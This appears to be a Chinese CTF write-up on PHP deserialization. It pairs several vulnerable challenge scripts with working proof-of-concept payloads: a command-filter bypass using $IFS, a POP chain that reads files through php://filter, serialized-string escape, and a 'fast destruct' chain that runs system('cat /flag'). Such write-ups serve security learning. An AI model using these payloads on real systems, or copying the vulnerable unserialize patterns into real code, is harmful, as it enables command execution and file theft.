PHP反序列化与一些例题
反序列化函数触发条件
题目一 空变量绕过
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| <?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
|
poc
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| <?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping", array("ca$@t\$IFS$9`find`"));
echo base64_encode(serialize($a));
?>
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$@空变量 $IFS$9空格 find命令查看当前及子目录下的所有文件
题目二 绕过正则匹配/[oc]:\d+/i
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| if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
|
利用加号绕过
题目三 pop链
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| <?php
error_reporting(0);
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}
class Pipimi{
public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{
public function PopukoPipimi(){
$is = "Good sisters";
}
public $kiminonawa,$str;
public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
public function __toString(){
return $this->str->kiminonawa;
}
public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}
if(isset($_GET['pop'])) @unserialize($_GET['pop']);
else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}
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poc
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| <?php
class Popuko {
private $No_893;
public function __construct(){
$this -> No_893 = "php://filter/read/convert.base64-encode/resource=f14g.php";
}
}
class Pipimi{
public $p;
}
class Goodsisters{
public $kiminonawa, $str;
}
$a = new Goodsisters();
$b = new Pipimi();
$c = new Popuko();
$a -> kiminonawa = $a;
$a -> str = $b;
$b -> p = $c;
echo urlencode(serialize($a));
|
pop链，步步为营，触发下一个函数
题目四 字符串逃逸（增多）
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| <?php
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
$b = waf(serialize(new GetFlag($key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}')));
unserialize($b);
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每一个bad转化为good会增加一个字符的空间，可以通过waf()修改类的属性，需要增加的字符数和bad的个数相等
题目六 快速反序列化 fast __destruct()
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| <?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
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pop链很清晰
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| $a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
$a->errMsg->obj->func->obj->func="system";
$a->errMsg->obj->func->obj->var="cat /fl$@ag";
echo serialize($a);
|
刚开始看题意还以为是条件竞争，写了个爆破脚本(
后来发现题目的意思是fast __destruct(), unserialize()出来的对象，如果赋值给了一个变量，那么这个对象的析构函数会到程序结束时执行，因此在这道题中无法绕过最后的异常抛出。如果单独执行unserialize()函数，那么反序列化出来的对象会在这条语句结束后立刻销毁。
这道题需要我们快速执行__destruct()函数进行命令执行，我们可以把末尾的}去掉一个
本质上，fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出，为了销毁之前建立的对象内存空间，会立刻调用对象的__destruct(),提前触发反序列化链条
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| O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}}
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最后的payload
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| O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:11:"cat /fl$@ag";}}}}
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PHP反序列化冷知识